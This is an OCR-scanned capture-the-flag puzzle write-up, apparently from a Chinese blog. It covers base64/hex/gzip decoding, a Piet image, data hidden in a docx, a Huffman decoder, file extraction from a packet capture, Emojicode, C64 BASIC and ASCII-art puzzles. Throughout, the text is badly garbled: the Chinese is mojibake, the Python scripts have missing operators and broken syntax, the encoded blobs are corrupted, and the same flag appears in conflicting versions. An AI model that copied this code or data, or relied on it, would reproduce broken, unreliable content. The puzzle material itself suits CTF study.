5% Cyberchef E# 7] DL base64->hex->Gzip : hitps://gchg.github.io/CyberChef/

. = start: 166  1angth: 184 =
Recipe B EE  nput Lo 162 Sines: 1 + O 1 =
© 11 PUYAQIAANDESIT gz g1 RT ADH2N ZDN E2liz ) FIiZQ30DC BHDADQKICHDKAQO G2 ZCHD i QRO IDTCHIROHZINZNTHZHERCHTQUHZVCHZQANEE ZNTHZ D
e B0THyMzUBQ] RFMZUZMTQ5MzFCHUFDRTVFH Ay MDABNF hCMj TR T4AMDAWMDAW
Alphabet

A-Za-z0-9+/=

Remove non-alphabet chars

From Hex Q n
Delimiter
None

Gunzip e n

time: 1ms
length: 48 IC 23
Qutput e A a O Mm@ L4

flag{@815e4cof56148e78be6adb56ced4d59}

flag{0815e4c9f56148e78be60db56ced44d59}
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1.png Oliver Twist.docx


https://gchq.github.io/CyberChef/

1.png & —F Colorful programming 'Y npiet : https:/www.bertnase.de/npiet/

npiet-online : https://www.bertnase.de/npiet/npiet-execute.php
Hi,

Welcome to npiet online !

Info: upload status: Ok

Info: found picture width=160 height=200 and codel size=10
Uploaded picture (shown with a small border): 1.png

|
nlla

[

Info: executing: npiet -w -e 220000 1.png

Tetris

run again !

back to npiet cnline - try again !

back to npiet
back to bertnase.de

BRESE: Tetris
RIGALEEE Oliver Twist.docx

{Among other public buildings in a certain town, which for many reasons it will be prudent to
refrain from mentioning, and to which I will assign no fictitious name, there is one anciently
common to most towns, great or small: to wit, a workhouse; and in this workhouse was born; on
a day and date which | need not trouble myself to repeat, inasmuch as it can be of no possible

consequence to the reader, in this stage of the business at all events; the item of mortality whose


https://www.bertnase.de/npiet/
https://www.bertnase.de/npiet/npiet-execute.php

name is prefixed to the head of this chapter.

For a long time after it was ushered into this {world} of sorrow and trouble, by the parish surgeon,
it remained a matter of considerable doubt whether the child would survive to bear any name at
all; in which case it is somewhat more than probable that these memoirs would never have
appeared; or, if they had, that being comprised within a couple of pages, they would have
possessed the inestimable merit of being the most concise and faithful specimen of biography,

extant in the literature of any age or country.

Although | am not disposed to maintain that the being born in a workhouse, is in itself the most
fortunate and enviable circumstance that can possibly befall a human being, | do mean to say

that in this narticular instance it was the hest thino for Oliver Twist that ronld by nnssihility have

HEX—KEFT, B docx FEN zip BUH R E imagel. jpeg

mv imagel.jpeg imagel.jpg
1s

k 'Tetris' -r imagel.jpg flag.txt

160000001801
11019101110
16000001161
160000001610
110181016
1191910116111
160000001000
110181016
aee1

0100

11811
11010100116
110101000
11011
11010100116
11010101111
1100100
161101
161101

1001

161110
11010100116
100000001001
0100




11010110
a1

0101

11011
11010100116
11011

a1

161111

000

a1

1010
11010100116
1000000111
1000000111

110101011000 T ,
3 /home/mochu7/Desktop % [ https://blog.csdn.net/mochu7 777777

BXEMAST ..., BF fzwisciliifd FwriteupSCE H H A
JRSCEERE: http://www.fzwjscj.xyz/index.php/archives/41/?_wv=16777223& bid=3354
B#l4i%, ouguess HREUH KK Z Huffman ifid, XFdoox XS AT ML, AREHATIER



http://www.fzwjscj.xyz/index.php/archives/41/?_wv=16777223&_bid=3354

import random
class Node:
def _init_(self,freq):

self.left None
self.right = None
self.father None
self.freq freq
isLeft(self):
return self.father.left self

def createNodes(freqgs):
return [Node(freq) for freq in freqs]

def createHuffmanTree(nodes):
queue nodes| : ]
print(queue)

while (queue) 1:
queue.sort(key=lambda item:item.freq)
node_left = queue.pop(9)
node_right = queue.pop(0)
node_father = Node(node_left.freq + node_right.freq)
node_father.left = node_left
node_father.right = node_right
node_left.father node_father
node_right.father node_father
queue.append(node_father)

queue[@].father = None

return queue[0]

def huffmanEncoding(nodes,root):
codes ["'] (nodes)
for i in ( (nodes)):
node_tmp nodes|[1i]
while node_tmp root:
if node_tmp.isLeft():
codes[i] codes[1i]
else:
codes[i] codes[1i]
node_tmp node_tmp.father

return codes

def freq_count(strr):
chars [1]
chars_fre []
for i in ( (strr)):
if strr[i] in chars:
pass
else:

chars.append(strr[i])

char_fre (strr[i], strr.count(strr[i]))
chars_fre.append(char_fre)
return chars_fre

def encoder_huffman(strr,chars_fre,codes):




for word in strr:
i (%]

for item in chars_fre:
if word item[0]:
huffmans codes[i]
i 1
print(huffmans)

return huffmans

def decode huffman(huffmans,codes,chars_fre):
original code
while huffmans
i=0
for item in codes:
if item in huffmans:
if huffmans.index(item) 9:
original_code chars_fre[i][0]
huffmans=huffmans[ (item):]
i+=1

return original_code

if _ _name__
sttttt
sttttt ( ).read()
chars_freqgs =[]

chars_freqs = freq_count(sttttt)
print( (chars_freqgs))
nodes createNodes([item[1] for item in chars_freqs])
root createHuffmanTree(nodes)
codes huffmanEncoding(nodes, root)
res {}
for item in (chars_freqgs,codes):
print ( (item[@][@],item[@][1],item[1]))
res.update({item[1]:item[0@][0@]})
print(res)
d2 ( ).readlines()
re
for i in d2:
re+=res[i[:-1]]
print(re)

DASCTF{This_Is Hvffam_Dickens_secret_!!}
> 3
/) H ) B 5




& NEaoREEEA . rar =i R e =]
o misc.pcapng 37,535 259,436 Wireshark capt...
% misc.zip 738 776 ZIP EEESTiE

Rk, BB —NEEBHEHCHM—NMRER nisc.pcapng

& misczip £ - A Bt 8
' [ 64+ 127 141
L flag.rar 383 371 RAR B30

BINES Pt

B EIE.

FEAEE
[

[ AESkE=EEH)

Aami® BERes=FaEEaaan
[Wtep.strean 20 15
He. Port Tine Sewrce Destination Protocol Length  Frame Identification Info
gg M Wireshark - i8% TCP 5 (tep.stream eq 19) - misc.peapng - o x [
994 Sec-Fetch-Site: same-origin ~l B
996 Sec-Fetch-Mode: navigate E
1009 Sec-Fetch-User: 21 E
P Sec-Fetch-Dest: document
Referer: http://127.0.0.1/fegin/index.php
1008 ° ;
Accept-Encoding: gzip, deflate, br
193 Accept-Language: zh-CN,zh;q=0.9
993 Cookie: UM_distinctid-1751dadab2584d-0ad2783e2102b9-333376b-13c680-1751dadab26bf3; CNZZDATA155540-cnzz_eid%3D1180704151-1602517163 - 1
995 http%253A%252F%252F127. 0. 0. 1%253A8000%252F %26nt ime%301602555026; csrftoken=CSJugZzi6DOrv0IQ0IBVWUNIG72LzkbNPx0ovbbxkLRKD2vICHFLLHMzkz7Y9dP; sessionid=evi32ibvi@vayuanddxumry2f7hshad7;
PHPSESSID=eididogjeSh39mmigdebBadshp
------ WebKitFormBoundarySCLFVAGaNbuBLvXB
Content-Disposition: form-data; name="uploaded"; filename="gift"
Content-Type: application/octet-stream
FAPSTaas ween aann OF1b6aB31c399€2. ... .. .. SECONd.nr wranan ens
. .. ....B958062£10dd731 Fifth. ... . ...6316e53c8cdd9d99 .
ace133cB8Baedbd6. 26602a67beldeade
8adf7F276030877
....ebabbel@fba74dbf
...... WebKitFormBoundarySCLFVAGaNbuB1vXB
< Content-Disposition: form-data; name="submit" L
Frame 993: 13
Null/Leopback | " " yopkstFormBoundarySCLAVAGANbUBLXE -
Internet Protl |HTTP/1.1 200 OK
Transmission | |Server: ngime/1.15.11
Date: Tue, 26 Jan 2021 03:37:13 GMT
tont T s tooed fhdml T >
3 &S A, 2 WEE HEE, 3 tuals)
BRI (4469 bytes) ~ STA{TEANRA  ASCID ~ B
w5 | | EET—rw]
R 170 Save asn R Close Nelp

©2 00 00 B0 45 00 04 db ta /a 40 00 50 06 08 08 —— Zid

B4 5 - >HTTP 7E index.php IR E]IXA™ gift X4

firstll =»F RcOflb6a831c399e2RIsecon b675bd57058fd46REthirdE=Elkle6ae2fec3ad71c77ERfour
t 89f58062f10dd731 ifth 316e53c8cdd9od9 =0 dicof Bdic

133c88aedbd6l F26602a67beldea8c 73b5f8d8ccd5ad31 42125f82a562231
] al09e294d1e8155be8aa ? ? 8adf7+2f7603087
ba66el0fba74dbfRk 7749e813e9e2db




& Emojicode , emojicode® M: https://www.emojicode.org/
RRMEFHR: https://www.emojicode.org/docs/guides/install.html

BN gift XHFNEATRE, B BATHATCMF

% s

i mv gift.txt gift.emojic
/ / 1s
emojicodec gift.
a j 1. .femojicodec gift.emojic

found: gif

T=r=

log.csdn.net/mochu7 777777

BITZERMBRBITZERE _BANBEDN—E—F, WM T JLREIR misc.zip W EZE R %Y
F&: cOflb6a831c399e226602a67beldea8c
fRIE1B ] flag.rar Ml 64, 64 F—FhN Commodore 64 HIVES, V15 Wwiki: hitps://en.wikipedia.org/wiki/Commodore 64

CO47ELRIZ1TU,: https:/virtualconsoles.com/online-emulators/c64/
10?:A=356142:GOSUB20:A=762: GOSUB20: A=222440: GOSUB20 : END
20A=RND(-A)

30A=INT(RND(A)*22):IF A THEN ?CHR$(A+64);:GOTO30

40°?" " ; :RETURN

RUN



https://www.emojicode.org/
https://www.emojicode.org/docs/guides/install.html
https://en.wikipedia.org/wiki/Commodore_64
https://virtualconsoles.com/online-emulators/c64/

MAN—IE, Savex )5 HdiRUN

C6d online emulator

I

Fire up Open C64 Keyboard F1l F3 F5 F7

Left Down Right Space Return Iiiiiil Control =
hit 0g.C .net'mochu??

f8%): NOT AN EGG
f#JE flag.rar 13 3flag

6bffd0d9321df3c229cdff714bb5a0be
Ascii_art

© ascii_art#ififE zip - Bandizip 6.27
IER EEE) BRI OEIO) WEN  #EH)

£3 ascii_artAiE.zip = FEEEEF Bgish 2R
| | ascii.art 17,687 73,044 ART :ff

root@mochu7-pc: /mnt/c/Users/Administrator/Downloads# 1s



root@mochu7-pc: /mnt/c/Users/Administrator/Downloads# file ascii.art
ascii.art: pcapng capture file - version 1.8
root@mochu7-pc:/mnt/c/Users/Administrator/Downloads# mv ascii.art ascii_art.pcapng

root@mochu7-pc: /mnt/c/Users/Administrator/Downloads# 1s
ascii_art.pcapng ascii_artf9Bf{f.zip desktop.ini
root@mochu7-pc:/mnt/c/Users/Administrator/Downloads# |

REMT, BEMBERAE MR, RKEHLE

M Wireshark - {88 TCP 5 (tcp.stream eq 0) - ascii_art.pcapng
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banner

1:Show Hint
2:Get FLAG?
3:Exit

22

GITR™ KMIN[LSGITR™ KMILKMIGITR™ KMILIMILITR™ KMIMKMIMR™ R* KMR™ KMR™ KMR™ KMR™ KMR™ KMR™ KMR
TKMQANSP UMY TKMQYASUNNSUTKMQANSUS | JUS\MONASQAUTUMU TANAS A AR JUMUTANAS AN JUMUTARASY
ER_J]KUMS\QPER_JJKUMSKUMER_J KUK JMUKIM_J1K_JTMUKIM_JTK_JTKUKIM_31K_ITKUKIM 3]K_3
HTXZQDDUT ZUXHTXZQDDUTDDUHTXZQUXZ TDDZ TDXZQUXZQZDDXZDUQUXUQUDDXZDUQUXUQUDDXZDUQUXU
EYZIHVFQ[K™ CEYZIHVFQ[VFQEYZIHYZIHYZIHYZIHYZIHYZIHYZTHYZIHYZIHYZIHYZIHYZIHYZIHYZT
EEDHYNWSMFZCEEDHYNWSMNWS EEDHYNHSMNWSMNDHYNMHY SHSDSWNYNMNYNWSDSHNYNMNYNUS DSWNYNMN
ZNFDRGB" JKZVZNFDRGBDRGBDRGFDRGBDRGBDRGFDRGBGBGBGBDRORGBDRGBORGBORGBDRGEDRGBDRGBD
NQAQLHPZQ\X™ NQAQLHPZQ\X" NQAQLHPZQ\X" NQAQLHPZQ\X™ NQAQLHPZQ\X NQAQLHPZQ\X™ NQAQLHPZ
VRMTAC]XN_TPVRMTAC]XN_TPVRMTACXN_TPVRMTACIXN_TPVRMTAC]XN_TPVRMTAC]XN_TPVRMTAC]X
CNHANAHYRVQMCNHAN\HYWVQMCNHA N HYWVOMCNHANAHYWVQMCNHA N\ HYWVQMCNHA N\ HYWVQMCNH AN\ HY
KINALRN\ JWNKKINAL NALTAANANAL INIATATNALAL ININININALINAL NI [INI[I[I[INI[INI[I[ T[T
SYCILIACE[QU™ YCILYCIE[ YE[LILYEILY" YLY  YLYEILY" YLY YLY" ILY  ILY" YLYLILY ILY"YLYLI
UBIKIDP~E[ZMUBIKIBIKE [ ZME[ ZKIBZKI[ZME[ ZMIBZKI[ZMZ[ZBZ[ZKI[ZKI[Z[I[IKI[ZKI[Z[I[IK
E*\CLHAQBGEDE~\CL*\CBGEDBGECL ~ECLGEDBGECL"ECLGEGLGLCLGLCLGLCLELCLCLCLGLCLGLCLCLE cat part3 | figlet -c -f colossal -w 60 | aa3d
JYB_V_B"LP_RIYB_VYB_LP_RLP_ VY_VP_RLP_VY_VWPLV__ V_ VP_V PVP_V P

NCLD™ ~KRCE[ JNCLD" CLDCE[ JCE[D*C[D E[]CE[]"C[D" J[D[E[][E[D" 1[D"E[J[E[]" 1[D"E[ILE[]
JLIN[Z EFML[ILLNLLL\FMILFME\[LAA[LILILTL[LF\JLF\TLFNJLF\JLF\ JLF\FLFLILF\JLF\FLFL
HTHE\JXLNQLGHTHE\THE\THEHEHE\ THTHTHTHE\E\THT\ THTHE\EHEAT\AT\T\T\TAT\T\TAT\T\T\T\T
TZFRH[M[ JHNKIZFRH[M[ JHNKIZFRH[M[ JHNKIZFRH[M[ JHNKTZFRH[M[ JHNKIZFRH[M[ JHNKIZFRH[M[
JFAMEP] [ OOMT]F~MEP] [OOMT]FAMEP ] [OOMT ] FAMEP] [QOMT ]F~MEP ] [OOMT ]F~MEP] [ OOMT ] FAMEP] [
NRT [MDN~PW]QNRT [MDN*PW]QNRT [ MDN~PW]QNRT [MDN~PW QNRT [ MDN~PW]QNRT [MDN~PW]QNRT [MDN~
PB_VZWTFO\WMPB_VZWTFO\WMPB_VZWTFO\WMPB_VZWTFO\WMPB_VZWTFO\WMPB_VZWTFO\WMPB_VZWTF

bannerd pascTF FHE B FIAT R T /53R ASCIES

part2:10b56405cb78a92c and cxagfIPekxDGgPYoej

THBEAT R AT RS HIASCIRE

cat part3|figlet -c -f colossal -w 608]|aa3d fFE|KIR part3 KN BELIT figlet BEFIK colossal BRI FHLIT aa3d Hi#f
B Ascii artfi3rik3DE



AA3D : http://aa-project.sourceforge.net/aa3d/

1:Show Hint
2:Get FLAG?
3:Exit
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NN\ TANE TANA SN
AU UV U _ AN N LN ALY AN VY
VAN /N /NN NN\ Y AVAV W AT
AR R Y A S R U VAN U S WA S WA _HL; AW AL AVALY A A AN A
AUAY FANANVA WY TAN W N VA WY A W WA A Y A U W) —=lp- hint
NSNS NN N N N AV A VI

Figlet i larry3d PR, WAR: Coolest 30, JHMIXE R FEKINAR aa3d
Larry3D4E:  hitp:/www figlet.org/fontdb_example.cgi?font=larry3d.fif

M Wireshark - 185 TCP 5 (top.stream eq 0) - ascii_art.pcapng -

.]2;cat ./art.py | rev | base64 -w 8 | rev | base6d -w @ | base6d -w @

rev. . ]1; cat. =kWMX9kdSdOUZRGSULXVENmsd1T14kMNZ LWYNFVxAZUEVTbUIDbFNLUS SH61URKhmRX IGToxmUz I FSUR1QERWTOF TWGRTVA] EauRFVKBTYPX2VRVTHVFmQSpGVMZUV1Y kTVFVMBUVZCZla URIRV50TS SHUWVTVhIkQqRFVGY LT SKVRAHMVWINQuSGVIupURh 9 EbXFVMPATVD b UBNRr18TOZVU3
ROMRNEtRFRGBDZOXGHR FDNWU1QCPGVUpUR 1 SKTVFVMBUVY CxmbURKRF18TOx Uy VDHR JKSURVNGVITPSUVR dHIIWE 1QCpGVWZUVOS EbY FUe@ATUCS KaURKR V2T s T THy hHHVAXUTRFCsWY 15411 nUzIFSUR1QqIMTwh1VulTRSpGZERVVIF jWh JVVSWMrVmUK 1GVFxiiMapF cXd
1bxsWZaRWDUV1TyolTSBTHulTRSIF ZtdVRGF JHOIVMZSHN rFVkdFUxFDMaSE cXd 1bs ZkVWR2VUFnRx01 Twd LVuF za 1 pF ZyQURGF jHOB 3VUISWNF 21Uk 1 UV xHMaSE cy k1b1sWYWRWDUZIRx01TSZ1Vu: xth] FZXdV\MF]WOB 3VUSGbGZ1VkIDVFxbiMaB 1UVd1bxsWZORMMUVIVS] 2SOVUTywRTNDArpFRKVETKSU
VR5GbwE1Qkd1UEZEMapkTVF1bsBTUCR2VT1EZZ0VbOVVUUXGMRIEZXNFRGBIWKSUVRSGbWE1Qkd 1UE ZEMapkTr FNrVBUzQ2VTRkRwo1SOVVUuXGMRIE ZXNFRGB jHKS0aRR zaFN1Mkd LUE ZEMapk TVF 1bsBTUCR2VTRKRwo1 SOVVUUp1MRNE aUNFRGB JWK5UVR SGbwE 1Qkd1UE ZEMapkTVF 1bsBTUCRWbaRkSFIkS
OVWUUXGMRIEZXNFRGB WKSUVRSGbWE1Qk ImkEpURPRUNyQmba ) TUDp1bZ1 3aqRiaKR 1 TyoUbNVTHulVen prilk5@aRR zaF N1Mkd1UT xmak 1mSUSKMK1WT1k1bZ13aqRWaKROTuXGMR JEZtpFRKVETKSUVRF jS t1UNZSWIS tmak 1EbXF Lbs BTUCRWDaRKS FOk SkVOTXgXViVThulVerpGZpxGS05GbwE1Qkd1UIR2Ma
1mTVF1bsBTUCR2VTRKRVRHashkTuxGMRIEZXNF RGB JHKhGHMK Smhly E1Qkd1UEZ 1ak 1mSUIKMK1WT 1k1bZ13aqRmS 0BDZup1VRAHaUNVSKN jWQSEMZ5GbwE 1Qkd1UES@ROB1UnoVds BTUCRIbaR KSF Sk SOVVUWBIV 1JE ZXNVRKAKTQSUVRS GbwE 1 aSR 1UE ZEMapE awQmba ITUDxmMUdEd t InSOVVU1 Z1R S9GAXNFRGB
FWKNGMIcSmibly E 1QSpnVUSkMapk TVF1bw\VVTC11aXRkRuo1 SOTWUBSWRTNDZXNFRGBJHKSUVRF TOF J1bSREVIWZ EMapk TVF 1bsBTUDhGVT1EZ201SkV1UMiMVpGZXNF RG tmYQJFMaBzbVV2QoR1UIR2MT LmTrF FNrBTUCR2VTRkRwo1SOVWUU1TRSSmUUNFRGBHKhGMK Smiy E1Qkd LUE ZEMapk TVF FMAUKUUR2VTRIC
Ruo 1 SOVVUUXGMRNERUNV SKN j WK SUVRSGbwE 1Qkd1UEZEMaB1UwoFMrBTUDRGVT1E 7201 SOWUUXGMR JEZHRF dsRVYQIVRhFGbiE 1Qk InHEpURP pk TVF 1bsBTUCR2RUF HZHSEUOVUeXVh JEZXNF RGB jWt50aRR 2awE1QSpHVFRmMapk TVF 1bsBTUCT1eUVEZy oVbOtHUBO@a iNDZ tpFRGB JUKSUVRBTS t1UNZSI
2Q2ROB1TVF1bsBTUDhGVT1EZ201SOVVUUXGHRIEZyQVRkdkTKSUVRSGbWE 1Qkd1UEZEMa1mTrFFNrBTUCR2VTRKRWOL SmUGRFRGB ]t WELQ) 0B1UwOF M F TVKV2VTRKRwo1S0BDZup MR JEZXNF RGB JWNBnMaBDOWE Lak12U202Vkpk TVF 1bsVBU zQubaRkRuwoFUSB s GMRIEZX
NFRGBWQJ FMaBzaFN1MK 1miC JE SPpEawQmbsBTUCR2VTBNRwo 1SOVVUMGTRS5 GZXNFRGB Wt 5@aRR 2 awE 1Qkd1UEZEMapkUwoF MAATUCR2VTRKRwo1SOVVUUXWRTNDZ tpF RGB WK SUVR5GbwE 1Qkd1UEZEMaB1UMOFMrVaU2 QWb aRkRwo1SOtHUW1 TRSIGCHNF cOJ JHKSUVRSGbUELQOR1UIR2Mapk TVF 1b4thYud
1eUVEat DMRB zVXNFRKVOT} J1bSpHVEZEMapkTVF1bsVkUuJ LeURKS F9kSoBDZMp1MRNEUNFRGB jWKSUVRSGbuE 1Qkd1UFR2ROB1TVF 1bsVOUZQibaRkRuo 1 SOVWUUXGHR T kUERVRK] WK SUVRSGbWE 1Qkd 1UEpURPPEawQmbK 1WT1 kFUTRKRWO1SKV1UWgDMRpGZXNF RKVATKNGMSMVG] 1
bBAEVWZEMapkTVF 1bK1WTeM2VTRKRuOVBOtHWUBSGMRIKV2ZQURKdKTLXGHR SGbE1Qk12U2Q2VkpkTVF1baJ TUDhGUTRKRrIGUSVUYyXGMRI EZXNFRGVKTQD FMaSmblyE 1QopXU1R2Ma1nTVF 1bsBTUCR2VTRRuo1SKVOTwg TRSImHYNFRKVOTKhGMKSGbwE 1Qkd1UEp@akBLUwoFMIdVZCROVTRKRWO1SOWUUp1M
RNEaUNFRGtmYWIVRhInSt1UNrIDVHRXb1pk TVF 1baJTUDhGVTRKRWO1SGRVUMETRSSMUSRFRSVVYQSUVR5GBFNMK LmiE pBakB1UoFMAAI UBM 2V TRKR1O1 SKV@TwEDMSR 2YXNVS kN jHt5UVR SGbwE1aGFDVIpE bk 1mSUNFMAUKUVpFIT1EZ 20VbGV@Y@sURTNDZXNFRGB jWKSUVRSGbiE 1QkdLUEZEMapkTVF 1ba
JTUDRGVTRKRwWO1SOVVUUXGMRIEZXNFRGBIWKSUVRS GbwE1Qkd 1UIR2MalmTVF 1bsBTUCR2VTRKRWO1SOVVUUXGMRIE ZXNVSKN jIHt 5UVRSGbWE 1Qkd LUE ZEMapk TVF 1bsBTUCR2VTRKS FOk SoBDZuxGMRIEZXNFRGBIWKSUVR 5GbwE 1Qkd 1UE ZEMapkTr FENrV@UZQ2VTRKRWO1SOVVUUXGMR 1 EZXNFRGBjWKS @aRR
ZaFNIMOtAMEZ0ak LK TG EMAB TV 37 FSURLQE RNTOZUTWgHIVGXULRFVCREZNSKRNBDewlU1dRNEVUIER LK TG EMAB TV 3FF SURLQE RUTOZUTgHHVGXUIRFVCRE ZNSKRNBDewU1dRN EVUJERILICTGLEMABTVSF FSUR LQERWTOZUTugHMVXUTRFVCRE ZNSKRNBDewU1 RN EVUJER L KTGLENABTVSE FSURLOERWTOZU
TugHMVAXUIRFVCpXYLBHWXZDbF J1UCR1UFZkR1pkUrR1cwWWZ3BTbaRkSF9ERsAOTwg] VZ1b1UkUyRWbUVITy 01 TkZ 1UuVza 1pF ZERVEXATWPBRMhSHNE J1Sk1GV24kMaOkUXEmb1UKVuRKbUNKVO1 TwhVUUVDMS ZF ZtRVRGF JWPBHWR SWN rVmRK 1GVVXGMadUM
XN1b1sWYuRNbUZDbx01TudVVUVTRS pFZtRVRSB WP IVMaSHN I 1Vk1GVF 5 kMaSECYZ1b1AFUNRWBUVVMI01TSZ1VUV TRS pFZ tRVVIHEmYNpVMK5 GbVF 1d s UnixGHTREbHIWNF JV3xUFWXh FbuwI2akV1T35Ub1 JE dwEF cuBj ThpkaSpHCWFmSkdUVUZUR LtGarN1b0dVU2RXVTBXOXFmSSVUTuF za iNF bYdVWGBZUE
X2VThHBVFmQsR1UTN3R1hmREIBARAUL hmMZIUOyMFTOZUY1ANRXNEZ IpFVSRVYMx2VTSmQxU1QuhkHIBXR pmRIGT SVVY 22V TVQEpLTotiV1LmRXIEdWEF cSVVYKx2VRV zaF NLUNRVHHRMT pk TVF 1bs BTUCR2VTRkRwo1SOVVUUX2aSV THHd FenpnldKSUVRS Gall1ENJd 1UE ZEMapk TVF 1bsBTUCR2VTdEbgp
1SOVVUuxGHR I EZXNFRGB j WK SUVRSGbWE 1Qkd1UEZEMapliVOUbOZVZCR2VTRKRWO1SOVVUUXGMR JEZXNF RGB jWKSUVRSGbIE 1QkdOVAtmaa lFbYFF TsBTUCR2VTRKRu01SOVWUUXGHRNKTXd1RopniK pFMiJDbrr JFNkd@VAdmai 1 EbYF1bsBTUCR2VTdEbgpVHiOthiUghXV1 JEZXNFRGB JWKSUVRS GbWE1Qkd1UEZE
MapkTVF1boF TUDpLRXRE a6p1SOVVUUXGMR] EZXNFRGE] WKSUVRSGbWE 1Qkd1UHN2Ma1FbYF 1boF TUBMXVTRKRW01SOVVUUXGMR 1 EZHAF RKBTWN Zkek56axE 100d@VHR 2Ma 11V FVmaoZVT zoFWTRkRioL SaVUZthHMRNKTXN1RoSmZ ZEVP1GbWE1Qkd1UHxmaa pKTVF 1bsBTUCR2RXRKSWKVT sh1TqhmVNVTWXNFR
GE]WKSBaRlGaledelUEZEMal1WV9ka4WTzQ2RXRkkaFRsdVquGMRJ EZXNFRGBJWZ5@aRpGbr] 1MkdeVEpEMZ1 1WF SENNZVTR01RUN3 ZqRWWOVVUUXGMR] kWIdF RKBTHKpVR 1pGas JVNZAEVESUBKpKIFVmboZVTOQzRUVS Rwol5aBDZuhWMRNKTHAF SKtmHZ xGHR JDbWE 1Q0d1VHxmaapkTFIKbs tmUBKFSX
VDb6115aBDZunWMRIEAVNFRGE boxmUR48VTdEaYRVWOtHUqhXV1IEZXNFRGBIW 1Q0deVHh2MapkTFVHboZVT20F SU3aqp1SOthUGhXVNVT TXNIRGSMAZ pFMKSGak] FNOA1UHRMbK 1 1TrF1aSxmUzQ2RXREDG115aVUZORKMRNKTXNIRKN WK ZEM1 SGbWE 1Qkd
1uEZEMa:LkRusuboZVTmBVTaEZzoVTGluTthmVNV'rrxNmkNJWKsuvRSGasJVNZdBVEpEMzpkwgubozvmmeEbs:twmmhmVNNDZHdmspmzzEVPpGeVWINZdBVAtmaa:L1TrF1a4WT:Lk1Rxh3a6115aBDZyngan-IHdFeJNjwzsuvnscbvr1dkd1uEZEMapkWF1bsBTu1kmxhaZqRWDWquGMRVT
WHdFenpGZZSUVRSGbWE1QkdEVAtmaalkR6Rmbs BTUCDF SXh3aqpVTGpHZy gmVNVTWHAVHS pXUNZEVP1GaW1ENZhOVE Z0ak11RUSUBAVW TZQ2VTREBGD! 'yghMRIEZHRF & rpmil; E1Qkd1UC1 jMapkTVF1bSBTUCR2VTRKRWo1SOVVUUXGHR] EZXNFRGB]WKSUVRSGWEledlUEZEMakaVFlbsETU
CR2VTRKRWo1SOVVUUXGMRIE ZXNFRGBIWKSUVRS GbwE1Qkd LUEZEMapKTVF Lbs BTUCR2VTRKRu01SOVVUUXGMRIE ZXNFRGBIWKSUVR 5GbWE1Qkd LUE ZEMapkTVF 1bsBTUCR2VTRKRW01SOVVUUXGHMRIE ZXNFRGBWKSUVRSGBWE L Qkd LUEZEMapk TVF 1bsBTUCR2VTRKRO1SGB
NIVH52VYIkeTtGZVSRdOFTUDSKaZ13ZHZFUWALUMIKRNEMSFZ1Rs FIrR2aW1U0r FrS@VIUnxiVhtGZFIGH] ZkVZE}MRSWJtSUVome:loVMRNEetlFSAJer‘RlM:dnUyV\IMBlWUhZRNlWHJwNOJTUCRZVTRkRvMFTOZUV3FlRXNleFVGVlTKRWRhFHImEledlUCleTEFcXRleZkVBNZVZhUIMonITVux
GMRIEZYEF c@1DZMh2aVdnVyI1Vkd1UEZEMapKTVF1bsVVU2pFVURLRVIUUOXHU2xmVINUMX1FhohkYKSUVRSGbVF 1dChkWIZFRIR1TFF 2d1d1Y zx2MZRKRo1SOVVUUXGMRIE ZyEVCS cVZKIVRNY zawT 1btid 1UTBnR 16 ZVZ 1bs BTUCRMMRBHAXFUY StGVyxmRXNDZURF cKBTTNS EbRpHBGA1 TS WS dmbkpF buF F
d4BTVDB3RURLSF1UYKZUZ1ZKMIFGaUR1 e ZVZahmVRSmUy [1Rwd1Unh 2RKFGasVINHA@VOZ1MZ13Z6p1SOWUUXGMRIEZXN1QSCFU . [1m. [ 7mt. [27m. [1m. [om

..12;ro0tGKDI: ~/ascii_art..]1;~/ascii art...!...
..[em.[27m. [24m. [J.[@m. [49m.[39m. [@m. [49m. [38;5;236m. ... [@m. [38;5;236m. [48;5;236m. [38;5;255m ....[0m.[38;5;255m. [48;5;236m. [48;5;236m. [38;5;255n . [@m. [38;5;255m. [48;5;236m. [48;5;236m. [38;5;244m. . . . [@m. [38;5;244m. [48;5;236m.
[48;5;236m. [38;5;31m ... .[1m.[38;5;31n. [48;5;236m.[38;5;39n~. [@m. [38;5;39m. [48;5;236m. [48;5;236m. [38;5;31n/. [1m.[38'5'31m.[A8'5'236m.[38'5'39mascij art. [Om. [38;5;39m. [48;5;236m. [48;5;236m. [38;5;31m. [@m. [38;5;31n. [48;5;236m.
[48;5;236m. [38;5;31m . [@m. [38;5;31m. [48;5;236m. [49m. [38;5;236m. [em. [38;5;236m. [49m. [39m. [38;5;24em. .[em. [38;5;248m. [49m. [38;5;236m. [en| (38;5;236m. [48;5; 236m. [38;5; 178n . [1n.
[3835;178n. [48; 5;236mr00t@KDL. [On. [38; 5,178m. [48; 5; 236m. [48;5; 236m., [38;5; 178m. [6n. [38;5;178m. [48; 5; 236m. [48;5; 236m. [35 5;178m . [6m. [38;5;178n. [48;5; 236m. [48;5; 236m. [38;5;178m. [@n. [ 38 5;176m. [48;5;236m. [48;5; 236m. [38;5; 66m.
[38;5;244m. ... . [@m. [38;5;244m. [48;5;236m. [48;5;236m. [38;5;66m 17:03:48. [@m. [38;5;66m. [48;5;236m. [48;5;236m. [38;5;66m ....[0m.[38;5;66m. [48;5;236m. [48;5;236m. [38;5;66m . [49m. [38;5;236m. ......... . [38;5;236m. [48;5;236m. [38;5;66m. [om.
[38;5;66m. [48;5;236m. [49m. [39m

.[@m. [49m. [39m. [@m. [49m. [38;5;76m. . .. [@m. [38;5; 76m. [49m. [38;5;76n. [ém.[38;5;76m. [49m. [36m. [ém. [30m. [49m. [39m .[Em.[49m.[39m. [K
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from base64 import

with 5 ) as f:
f (b64decode (b64decode (b64decode(f.read()[: :-1]),encodin
lines f.split( )
with ¢ 5 ) as f:
for line in 1lines:
f.write(line[::-1])
f.write( )
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import os
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.upper()

while True:
print(menu)




ch 3

exit(o

ch 1
Hint
ch 2

os.system

part4.zip flbase64%(#E B #: 7] DL A X ANk E#:19 2lzip:  https://the-x.cn/zh-cn/base64/

Q) partdzip - Bandizip 6.27

IR REE) =) O Emo) WA EEH

£3 partdzip £5 B RSN Btauh R
[ parta* 29 15
EANEE X
BT,
HaANES
L BEsSEEssEH)

10b56405cb78a92c and cxagfJIPekxDGgPYoej@znrGB1LR

.upper

partdkey: key part4:jFHotPW4nMIQPpO
part4: part4.zip CH%E)

part3 Bt aa3d MHALARE, WERTAHRHKEFZRET figlet M aa3d AEABETHE

GITR™KMIN[LSGITR® KMJLKMIGITR™ KMILIMILITR™ KMIMKMIMR™ R™KMR™ KMR™KMR™ KMR™ KMR™ KMR™ KMR
